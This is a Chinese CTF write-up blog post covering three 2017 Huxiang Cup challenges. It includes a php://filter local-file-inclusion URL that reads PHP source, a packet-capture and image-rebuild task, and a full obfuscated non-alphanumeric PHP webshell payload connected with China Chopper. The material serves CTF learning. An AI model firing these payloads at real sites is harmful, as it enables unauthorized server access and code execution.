hxb 2017 部分题解

0x00 前言

作为一名菜鸡,挤出了一点时间来做了做今年的湖湘杯,快结束的时候看了看题目,就做出了三道题,和大家分享下。

0x01 第一题 web200

拿道题目本以为是文件上传,但是试了几个方法没成功,随便点了点,看到了url中op参数,感觉是php文件包含漏洞
试了试,得到了index.php的源码

0x02 使用php://filter 读取源码

在使用php:filter协议获取源码时,需要注意”resource=index”这里不能有后缀,经过查看index源码,确实不需要后缀,后缀在源码进行了拼接。
image

<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
    die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');

function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
    <div id="header">
        <center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
    </div>
    <div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

function page_bottom() {
?>
    </div>
    <center>
    <div id="footer">
        <div>
            <p>
                <span>2017 &copy; </span> All rights reserved.
            </p>
        </div>
    </div>
    </center>
</body>
</html><?php
ob_end_flush();
}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))
    fatal('no such page');
?>
0x03 获取flag

url中输入flag.php ,发现有这个文件,直接读取源码,获取flag

http://114.215.129.72:10080/?op=php://filter/read=convert.base64-encode/resource=flag

image

0x04 第二题 MISC流量分析

查看http流发现有flag.zip

image

追踪TCP流将flag.zip的hex放入winhex中,保存为flag.zip

image

解压出一个ce.txt
打开一看,开始以为是二维码,结果做了半天也没弄出来,后来发现是RGB还原出png的图片
image

cat -n ce.txt | tail -n 1
98457   254, 255, 255

可以看到一共有98457行,可以生成一张887x111的图片(一般这样的图片flag为一长串,所以试了试这个规格的图片)

使用脚本生成png图片

#! /usr/bin/python2.7

from PIL import Image

x = 887
y = 111
im = Image.new('RGB',(x,y))
file = open('ce.txt')

for i in range(0,x):
    for j in range(0,y):
        line = file.readline()
        lst = line.split(',')
        im.putpixel((i,j),(int(lst[0]),int(lst[1]),int(lst[2])))

im.show()
im.save('flag.png')
0x05 第三题 web300

经过尝试,过滤了字母、数字和一些符号,需要上传一个 webshell

找到p牛的文章,提到了一种利用类型转换的 webshell。

Payload

http://114.215.133.202:10080/?content=$_=%27%27;$_[%2b$_]%2b%2b;$_=$_.%27%27;$__=$_[%2b%27%27];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____=%27_%27;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);

image

使用菜刀连接 密码为“_”

image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

StriveBen

写字不易,给点动力吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值